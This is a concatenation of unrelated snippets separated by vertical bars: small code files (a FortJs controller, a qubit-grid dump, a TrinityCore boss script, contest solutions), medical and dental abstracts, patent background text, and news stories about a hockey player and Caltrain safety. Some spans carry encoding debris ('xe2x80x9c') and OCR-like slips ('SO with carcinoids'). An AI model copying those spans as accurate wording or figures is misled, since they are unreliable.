import { trackList } from "../constants";
export class DefaultController extends Controller {
@DefaultWorker()
async index(@Assign('FortJs') title: string) {
const data = {
title: title
};
return jsonResult(trackList);
// const result = await viewResult('default/index.html', data);
// return result;
}
@Worker()
async track() {
const payload = {
txHash: this.body.txHash,
nonce: this.body.nonce,
from: this.body.from
}
trackList.push(payload);
return textResult('added');
}
@Worker()
@Route('/set/{block}')
async setBlock(){
const block = this.param.block;
}
} |
/**
* Dumps the grid configuration to the given stream.
*/
void Topology::dump(std::ostream &os, const utils::Str &line_prefix) const {
os << line_prefix << "grid form = " << form << "\n";
for (utils::UInt i = 0; i < num_qubits; i++) {
os << line_prefix << "qubit[" << i << "]=" << xy_coord.dbg(i);
os << " has neighbors";
for (auto &n : get_neighbors(i)) {
os << " qubit[" << n << "]=" << xy_coord.dbg(i);
}
os << "\n";
}
for (utils::UInt i = 0; i < num_qubits; i++) {
os << line_prefix << "qubit[" << i << "] distance(" << i << ",j)=";
for (utils::UInt j = 0; j < num_qubits; j++) {
os << get_distance(i, j) << " ";
}
os << "\n";
}
for (utils::UInt i = 0; i < num_qubits; i++) {
os << line_prefix << "qubit[" << i << "] minhops(" << i << ",j)=";
for (utils::UInt j = 0; j < num_qubits; j++) {
os << get_min_hops(i, j) << " ";
}
os << "\n";
}
} |
Adenocarcinoma and Lymphoma of the Small Intestine: Distribution and Etiologic Associations Malignant small-bowel tumors in 171 patients over 64 years included 68 with adenocarcinomas, 41 with primary lymphomas, SO with carcinoids, and 12 with sarcomas. The distribution of the carcinomas showed ∼80% preponderance in the duodenum and proximal jejunum. A similar distribution in the upper small bowel in small-bowel carcinomas induced in Fischer and Sprague-Dawley rats by azoxymethane (90160 mg/kg) suggests defense mechanisms within ileal mucosa. The clinical series from 1958 to 1976 included two Crohn's carcinomas (jejunum, defunctioned ileum), two jejunal cancers (lymphoma, carcinoma) associated with celiac disease, two duodenal carcinomas arising in villous adenomas, and one jejunal lymphoma following exposure to irradiation. Multiple primary malignancies were found in 20 to 25% of enteric cancers. Hemorrhage was more common with carcinoma than lymphoma, but lymphomas predominated considering perforation or a palpable mass. Both carcinoma and lymphoma had 75 to 80% resectability rates and 14 to 15% five-year postoperative survival rates. The prognosis was least poor for carcinoma of the jejunum, one third of patients with curative resections surviving five years. |
Brigette Lacquette, a member of the Cote First Nation in Saskatchewan, once played for Yorkton Tribal Council at the Saskatchewan First Nations Winter Games.
When the announcement of the women's Olympic hockey team roster was made in December, ripples of excitement rolled through Canada's Indigenous community.
For the first time in Canada's Olympic history, there is a First Nation woman on the women's Olympic hockey team.
"To represent Canada being the first First Nation is such an honour to me," said Brigette Lacquette, 25.
She'll be playing defence for the Olympic team in Pyeongchang.
This isn't the first time Lacquette has represented Canada at an international level. Lacquette played for Canada in the 2015 IIHF women's world championships.
But the road travelled to get to where she is started when she was a young girl growing up in the rural community of Mallard, Man., about 300 km northwest of Winnipeg.
"I started playing when I was five," said Lacquette.
"My dad was my greatest motivator.... I spent a lot of time on the outdoor rink with my dad," she said.
Lacquette's roots extend beyond the Saskatchewan-Manitoba border, east to the community of Cote First Nation just north of Yorkton, Sask.
"My mom's from Cote and that's where she grew up," said Lacquette.
"My grandparents and my aunts and uncles still live there so we'd always make a trip there."
Cote First Nation has a strong history in Saskatchewan's First Nation's sports world and Lacquette along with her sister can say they were both a part of it.
"One of my memories would be playing in the [Saskatchewan First Nations] Winter Games with the Yorkton Tribal Council," said Lacquette.
"My late grandpa was there watching. It was always nice to have him support me. He would always make it out. I know that weekend my parents couldn't make it so my grandpa [did].
"Just having him there and watching the games, and spending time with him that was one of my memories."
For many First Nations youth in the province, the Saskatchewan First Nations Winter and Summer Games are like the Olympics.
It was 1974 when the Cote First Nation chief, Tony Cote, saw sports as a vehicle to success for Indigenous youth.
"The reason why I started them is because I knew we had a lot of good athletes," said Elder Tony Cote from his home on Cote First Nation.
"We've got to encourage them and help them and if they're good, that's where we should come in and sponsor them."
The Saskatchewan First Nations Summer/Winter Games, now known as the Tony Cote First Nations Winter/Summer Games, are in their 44th year.
Lacquette said she owes her success to a lot of people throughout her life and had this message to to share with the young Indigenous athletes who dream of making it: "Never give up. You can achieve anything you put your mind to and it doesn't matter where you come from, you can always achieve your dream." |
Semiconductor light emitting diode (LED) is receiving attention from various fields as an environment friendly light source. Recently, as applications of LEDs are expanding to various fields such as interior and exterior illuminations, automobile headlights, and back-light units (BLU) of display devices, there are needs for high optical efficiency and excellent heat radiation characteristics. For high efficiency LEDs, materials or structures of the LEDs should be improved primarily, however there is a need for improvement in the structures of the LED packages and the materials used therein.
That is, in a high efficiency LED, high temperature heat is produced, therefore this heat must be radiated effectively otherwise temperature rising on the LEDs causes ageing of the characteristics thereby shortening the lifetime. In high efficiency LED packages, efforts on effective radiation of the heat produced by the LEDs are making progress.
FIG. 1 is an exemplary illustration of a cross-sectional view of an optical device wherein an optical device chip 40 is mounted inside the cavity 60 of a metal substrate 10 having a vertical insulation layer 20 formed therein.
Referring to FIG. 1, the metal substrate 10 having a vertical insulation layer 20 formed therein can be formed, for example, by vertically cutting a stack into pieces having a predetermined length (width), wherein said stack is formed by alternately stacking (or forming) metal substrates and insulation layers. Aluminum, copper, or an alloy comprising at least one of foresaid materials and the like having a good thermal conductivity and electrical conductivity, may be used as a material for the metal substrate 10 having such a vertical insulation layer 20 formed therein. Further, a cavity 60, having a downwardly narrowing taper formed by machining or chemical etching and the like, is formed on the upper surface of the metal substrate 10 having a vertical insulation layer 20 formed therein.
Meanwhile, in order to enhance the reflection property of the light generated from the optical device chip 40, or the bonding property, for example, a silver-plated layer 30 is formed on the main wall of the cavity 60 and on the upper surface of the metal substrate 10 using a metal plating process such as an electroplating process, an electroless plating process, or a sputtering process. An optical device chip 40 is bonded on a portion of the upper surface of the silver-plated layer 30 inside the cavity 60 using a silver epoxy adhesive.
For an optical device having an above described structure, a silver epoxy has a good electrical conductivity and bonding property, however, the relatively low heat conductivity thereof generates a thermal resistance in a package wherein a high power optical device is mounted. Thereby, the overall heat radiation property of the package is degraded so that the life of the optical device chip 40 is eventually shortened. Moreover, the foresaid problem will be more significant if the optical device chip 40 is an UV optical device which generates more heat compared to an optical device for a visible light region. |
"Our America" That is Not One: Transnational Black Atlantic Disclosures in Nicolas Guillen and Langston Hughes In the past two decades, discontent with the exclusions operative in nationalist frameworks of American and Latin American Studies has placed issues of transnationalism, hybridization, and a diasporic view of cultures at the center of attention. As a provisional academic base for this desire to think more globally, scholars have invented a new tradition, so to speak the transnational and burgeoning field of hemispheric American Studies. Thus, the recent collection, Jose Martis Our America: From National to Hemispheric Cultural Studies, calls for such a change of paradigms. In their introduction, the editors single out Cuba, the birthplace of poet and revolutionary Jose Marti, as a fertile location for their project: |
N = int(input())
a_list = []
b_list = []
c_list = []
for i in range(N):
a,b,c = map(int,input().split())
a_list.append(a)
b_list.append(b)
c_list.append(c)
abc_list = [a_list,b_list,c_list]
three_hpnses = [[0 for _ in range(N+1)] for _ in range(3)]
for i in range(N):
for pre_play in range(3):
now_hpns = three_hpnses[pre_play][i]
for j in range(1,3):
next_play = (pre_play+j)%3
next_hpns = now_hpns + abc_list[next_play][i]
three_hpnses[next_play][i+1] = max(three_hpnses[next_play][i+1], next_hpns)
print(max([hpnses[-1] for hpnses in three_hpnses])) |
Caltrain officials took to the popular social-media website Reddit on Tuesday to engage the public in an “Ask Me Anything” dialogue on a variety of rail safety issues.
Under the handle Caltrain_News, Transit Police Chief of Protective Services Dave Triolo, Communications Manager Jayme Ackemann, Community Affairs Officer Tasha Bartholomew and Social Media Officer Jeremy Lipps responded to online questions from Caltrain riders that sometimes veered away from the event’s intended focus on safety.
Reddit users inquired about fatalities, trespassing and vandalism on the tracks, suicide prevention efforts, when to use the agency’s transit emergency hotline, hostage situations and horn volumes on passing trains. But interest also turned to general service concerns such as service reliability and expansion, reducing delays, wireless Internet access on board, and light-rail transfers for 49ers fans headed to the new Levi’s Stadium in Santa Clara.
Video footage of a man’s close call with a passing express train as he scurried across the tracks, posted to YouTube in February, helped highlight the safety issues that led the transit agency to host the online forum, said Caltrain officials.
“Rail safety is one of our biggest responsibilities as an agency, but we share that responsibility with the public that we serve. We were hoping that this would be an opportunity to engage in a two-way dialogue,” Ackemann said.
Some behaviors near tracks that have been cause for concern are people going around the gate and not being aware of how far the train overhangs the platform, Ackemann said.
“And then, of course, people bicycling and skateboarding at the stations,” she added. “If they slip and fall, they could fall into the path of an oncoming train.”
Caltrain officials on Reddit explained their three-pronged approach to ensuring safety.
“We strive to address this issue through the three ‘e’s’ of engineering, education and enforcement to collaborate on solutions,” they wrote.
The agency installs between 10,000 and 20,000 feet of new fencing each year to prevent people and cars from crossing the tracks where they shouldn’t, Ackemann said. Riders who witness unsafe behavior are encouraged to call (877) SAF-RAIL, or (877) 723-7245, a hotline that connects to emergency personnel.
Transit police also work with neighboring law enforcement agencies to raise awareness of rail dangers and conduct targeted citation campaigns against vehicle violations.
According to Ackemann, there are roughly a dozen fatalities each year, 90 percent of which are suicides, along Caltrain’s 77-mile-long corridor between San Francisco and Santa Clara counties. Four to six times per year, trains strike vehicles stopped on the tracks, most of which are unoccupied.
Grade separation projects like the one recently completed in San Bruno seek to minimize incidents by raising trains over intersections and directing pedestrians and cars through underpasses rather than over the tracks.
The new elevated San Bruno station at 833 San Mateo Ave. officially opened Tuesday after three and a half years of construction and the use of a temporary boarding platform for commuters. The San Mateo County Transportation Authority provided 60 percent of the funding for the $155 million safety improvement project. |
The field of the invention is removal of a gaseous component from a process gas.
Various methods are known in the art to remove a gaseous component from a stream of a process gas, including a wide range of distillation-, adsorption-, and absorption processes, and one relatively common process involves regenerator-absorber systems.
In a typical regenerator-absorber systems, gas is introduced in the absorber where the gas contacts a lean solvent traveling down the column. The gaseous component is at least partially absorbed by the lean solvent, and the purified process gas leaves the absorber for further processing or discharge. The lean solvent containing the gaseous component (i.e. the rich solvent) flows through a cross heat exchanger thereby increasing its temperature. The heated rich solvent is then stripped at low pressure in a regenerator. The stripped solvent (i.e. lean solvent) is sent back through the cross heat exchanger to reduce the temperature in the lean solvent before completing the loop back to the absorber. The regenerator-absorber system process typically allows continuous operation of removal of a gaseous compound from a process gas at relatively low cost. However, the efficiency of removal of the Gaseous component is not always satisfactory, and especially when the gaseous component is carbon dioxide, stringent emission standards can often not be achieved with a standard regenerator-absorber system. To overcome problems with low efficiency the temperature or pressure in the regenerator may be increased. However, corrosivity and solvent degradation generally limit the degree of optimization for this process.
An improved regenerator-absorber system is shown by Shoeld in U.S. Pat. No. 1,971,798 that comprises a split-loop absorption cycle, in which the bulk of the solvent is removed from an intermediate stage of the regenerator column and recycled to an intermediate stage of the absorber. In this arrangement only a small portion of the solvent is stripped to the lowest concentration, and a high vapor to liquid ratio for stripping is achieved in the bottom trays of the absorber, resulting in somewhat lower energy use at low outlet concentrations. However, the reduction in energy use is relatively low due to thermodynamic inefficiencies in stripping, mainly because of variations in the solvent composition as it circulates within the split loop
To circumvent at least some of the problems with the split loop process, various improvements have been made. For example, one improvement to the split-loop process is to more accurately control the concentration of solvents. To more accurately control the solvent concentrations, two modifications are generally necessary. The first modification comprises an intermediate reboiler, which is installed to a main regenerator to boil off water from the semi-lean solvent to adjust the concentration of the semi-lean solvent stream to the concentration of the lean solvent. The second modification comprises a side-regenerator to regenerate condensate from the main regenerator. The condensate from the main regenerator is sent to the top section of the main regenerator, where it undergoes partial stripping, and is then further stripped to a very low concentration of dissolved gas in the side-regenerator, before being returned to the bottom reboiler of the main regenerator.
Since only a relatively small portion of the total solvent (typically xcx9c20%) is stripped to the ultra-low concentration, the process allows achieving relatively low outlet concentrations with comparably low energy use. Furthermore, when methyl diethanolamine (MDEA) is employed as a solvent in the improved split-loop process, the liquid circulation can be reduced by about 20%. However, the modifications to improve energy use and lower solvent circulation generally require a substantial modification in the configuration of the main regenerator, and the installation of a side-regenerator, both of which may result in substantial costs and significant down-time of an existing absorber-regenerator system.
Another improvement to the split-loop process is described by Shethna and Towler [xe2x80x9cGas Sweetening to Ultra-low Concentrations using Alkanolamines Absorptionxe2x80x9d: Paper 46f, AlChE Spring Meeting, New Orleans 1996], in which two regenerator columns are utilized. A primary regenerator produces a semi-lean solvent, and a secondary regenerator produces an ultra-lean solvent. A small portion of the purified process gas leaving the absorber is expanded to a lower pressure level thereby producing a cooled purified process gas. The heated ultra-lean solvent stream leaving the secondary regenerator is cooled by the cooled purified process gas thereby producing a heated purified process gas, which is subsequently fed into the secondary regenerator. The recycled gas is then recovered from the secondary regenerator and reintroduced into the feed gas stream at the absorber.
The use of a substitute vapor instead of a reboiled solvent at the secondary regenerator advantageously lowers the partial pressure of the solvent vapor in the secondary regenerator, and allows the secondary regenerator to operate a lower temperature than the primary regenerator column. Operating, the secondary regenerator at a reduced temperature typically results in a reduced corrosivity of the solvent, which in turn may allow for the use of cheaper materials such as carbon steel in place of the conventional stainless steel. Furthermore, a split-loop process using vapor substitution may be combined with fixed-bed irreversible absorption technology, e.g. to remove H2S and or COS from the recycle gas in a bed of solid sorbent, thereby ensuring a relatively long bed life of the absorber. However, the split-loop process using vapor substitution requires the use of least two regenerator columns, and it may further be necessary to re-tray the top stages of an existing absorber to accommodate for the needs of this particular process. Moreover, due to the recycle gas and the use of a secondary regenerator column. retrofitting of existing absorber-regenerator combinations may be relatively expensive and time consuming.
Although various improvements to the general layout of a absorber-regenerator process have been known in the art, all or almost all of them suffer from one or more than one disadvantage. Therefore, there is a need to provide improved methods and apparatus for the removal of a gaseous component from process gases.
The present invention is directed to a recovery plant to recover a gaseous component from a process gas, having an absorber that employs a lean solvent and a semi-lean solvent which absorb the gaseous component from the process gas, thereby producing a rich solvent, a semi-rich solvent, and a lean process gas. A regenerator is coupled to the absorber, wherein the regenerator extracts the gaseous component from the rich solvent, thereby regenerating the lean solvent and the semi-lean solvent. A solvent flow control element is coupled to the absorber and combines at least part of the semi-rich solvent with at least part of the semi-lean solvent to form a mixed solvent. A cooler is coupled to the absorber that cools the mixed solvent, and the cooled mixed solvent is subsequently fed into the absorber via a connecting element.
In one aspect of the inventive subject matter, the process gas is a flue gas from a combustion turbine, having a pressure of less than 20 psia when fed into the absorber, and herein the gaseous component is carbon dioxide. The concentration of carbon dioxide is preferably greater than 2 mole %, more preferably greater than 5 mole %, and most preferably greater than 10 mole %.
In another aspect of the inventive subject matter, the solvent comprises a chemical solvent, preferably selected from the group consisting of monoethanolamine, diethanolamine, diglycolamine, and methyldiethanolamine. It is also preferred that appropriate solvents have a concave equilibrium curve.
In a further aspect of the inventive subject matter, a method of removing a gaseous component from a process gas has a first step in which a stream of lean solvent and a stream of semi-lean solvent is provided. In a second step, the process gas is contacted with the stream of lean solvent and semi-lean solvent in an absorber to produce a stream of semi-rich solvent and a stream of rich solvent. In a further step, at least part of the semi-rich solvent and at least part of the semi-lean solvent are combined to form a mixed solvent stream in a still further step the mixed solvent stream is cooled and the cooled mixed solvent stream is introduced into the absorber to absorb the gaseous component. |
/*
* Copyright (C) 2008-2012 TrinityCore <http://www.trinitycore.org/>
* Copyright (C) 2006-2009 ScriptDev2 <https://scriptdev2.svn.sourceforge.net/>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/* ScriptData
SDName: Boss_Azuregos
SD%Complete: 90
SDComment: Teleport not included, spell reflect not effecting dots (Core problem)
SDCategory: Azshara
EndScriptData */
#include "ScriptMgr.h"
#include "ScriptedCreature.h"
enum Say
{
SAY_TELEPORT = -1000100
};
enum Spells
{
SPELL_MARKOFFROST = 23182,
SPELL_MANASTORM = 21097,
SPELL_CHILL = 21098,
SPELL_FROSTBREATH = 21099,
SPELL_REFLECT = 22067,
SPELL_CLEAVE = 8255, //Perhaps not right ID
SPELL_ENRAGE = 23537
};
class boss_azuregos : public CreatureScript
{
public:
boss_azuregos() : CreatureScript("boss_azuregos") { }
CreatureAI* GetAI(Creature* creature) const
{
return new boss_azuregosAI (creature);
}
struct boss_azuregosAI : public ScriptedAI
{
boss_azuregosAI(Creature* creature) : ScriptedAI(creature) {}
uint32 MarkOfFrostTimer;
uint32 ManaStormTimer;
uint32 ChillTimer;
uint32 BreathTimer;
uint32 TeleportTimer;
uint32 ReflectTimer;
uint32 CleaveTimer;
uint32 EnrageTimer;
bool Enraged;
void Reset()
{
MarkOfFrostTimer = 35000;
ManaStormTimer = urand(5000, 17000);
ChillTimer = urand(10000, 30000);
BreathTimer = urand(2000, 8000);
TeleportTimer = 30000;
ReflectTimer = urand(15000, 30000);
CleaveTimer = 7000;
EnrageTimer = 0;
Enraged = false;
}
void EnterCombat(Unit* /*who*/) {}
void UpdateAI(const uint32 diff)
{
//Return since we have no target
if (!UpdateVictim())
return;
if (TeleportTimer <= diff)
{
DoScriptText(SAY_TELEPORT, me);
std::list<HostileReference*>& threatlist = me->getThreatManager().getThreatList();
std::list<HostileReference*>::const_iterator i = threatlist.begin();
for (i = threatlist.begin(); i!= threatlist.end(); ++i)
{
Unit* unit = Unit::GetUnit(*me, (*i)->getUnitGuid());
if (unit && (unit->GetTypeId() == TYPEID_PLAYER))
{
DoTeleportPlayer(unit, me->GetPositionX(), me->GetPositionY(), me->GetPositionZ()+3, unit->GetOrientation());
}
}
DoResetThreat();
TeleportTimer = 30000;
} else TeleportTimer -= diff;
// //MarkOfFrostTimer
// if (MarkOfFrostTimer <= diff)
// {
// DoCast(me->getVictim(), SPELL_MARKOFFROST);
// MarkOfFrostTimer = 25000;
// } else MarkOfFrostTimer -= diff;
//ChillTimer
if (ChillTimer <= diff)
{
DoCast(me->getVictim(), SPELL_CHILL);
ChillTimer = urand(13000, 25000);
} else ChillTimer -= diff;
//BreathTimer
if (BreathTimer <= diff)
{
DoCast(me->getVictim(), SPELL_FROSTBREATH);
BreathTimer = urand(10000, 15000);
} else BreathTimer -= diff;
//ManaStormTimer
if (ManaStormTimer <= diff)
{
if (Unit* target = SelectTarget(SELECT_TARGET_RANDOM, 0))
DoCast(target, SPELL_MANASTORM);
ManaStormTimer = urand(7500, 12500);
} else ManaStormTimer -= diff;
//ReflectTimer
if (ReflectTimer <= diff)
{
DoCast(me, SPELL_REFLECT);
ReflectTimer = urand(20000, 35000);
} else ReflectTimer -= diff;
//CleaveTimer
if (CleaveTimer <= diff)
{
DoCast(me->getVictim(), SPELL_CLEAVE);
CleaveTimer = 7000;
} else CleaveTimer -= diff;
//EnrageTimer
if (HealthBelowPct(26) && !Enraged)
{
DoCast(me, SPELL_ENRAGE);
Enraged = true;
}
DoMeleeAttackIfReady();
}
};
};
void AddSC_boss_azuregos()
{
new boss_azuregos();
}
|
def _event_draw(self, values):
if self.mode == MODE_COLORPATTERN:
self._event_draw_colpat(values)
elif self.mode == MODE_IMAGEPATTERN:
self._event_draw_imgpat(values)
elif self.mode == MODE_TEXTPATTERN:
self._event_draw_txtpat(values) |
<gh_stars>0
#include<iostream>
int main()
{
int arr1[15];
int arr2[20];
for(int i=0;i<15;i++)
std::cin>>arr1[i];
for(int i=0;i<20;i++)
std::cin>>arr2[i];
bool flag;
for(int i=0;i<15;i++)
{
flag=1;
for(int j=0;j<i;j++)
{
if(arr1[i]==arr1[j])
flag=0;
}
if(flag)
{
for(int j=0;j<20;j++)
{
if(arr1[i]==arr2[j])
{
std::cout<<arr1[i]<<" ";
break;
}
}
}
}
return 0;
}
|
Risk indicators of dental caries and gingivitis among 10-11-year-old students in Yangon, Myanmar. OBJECTIVES To obtain basic data on dental caries and gingival status of students in Myanmar, and to identify related risk indicators, including socioeconomic conditions and oral health behaviours and habits. STUDY DESIGN This cross-sectional study enrolled 537 fifth-grade students in Myanmar. Oral health behaviours and dietary patterns of students were assessed using questionnaires. Oral examinations were conducted to identify dental caries and gingivitis, and the oral samples were obtained to determine the bacteria levels in dental plaque. RESULTS The dental caries prevalence was 68.5%, with a mean number of decayed teeth of 2.07 ± 2.15. The prevalence of gingivitis was 98.9%, and the mean number of inflamed gingival areas in the anterior region was 16.2 ± 5.4. No significant differences were found between the sexes in terms of dental caries and gingivitis. Oral hygiene was significantly poorer, and levels of bacteria in dental plaque were significantly higher in boys than in girls. Multiple linear regression tests were used to analyse the association between risk indicators and dental caries and gingivitis. Tooth brushing frequency, a daily habit of mouth rinsing, dental visit experience, consumption of sugary snacks and oral hygiene status were significantly associated with dental caries. Mother's occupation, tooth brushing frequency, consumption of sweet drinks, oral hygiene status and bacterial levels in dental plaque were significant predictors of gingivitis. CONCLUSIONS Myanmar students had a high prevalence of dental caries and gingivitis. Socioeconomic condition, oral hygiene status and oral health behaviours were all determined to be significant risk indicators. |
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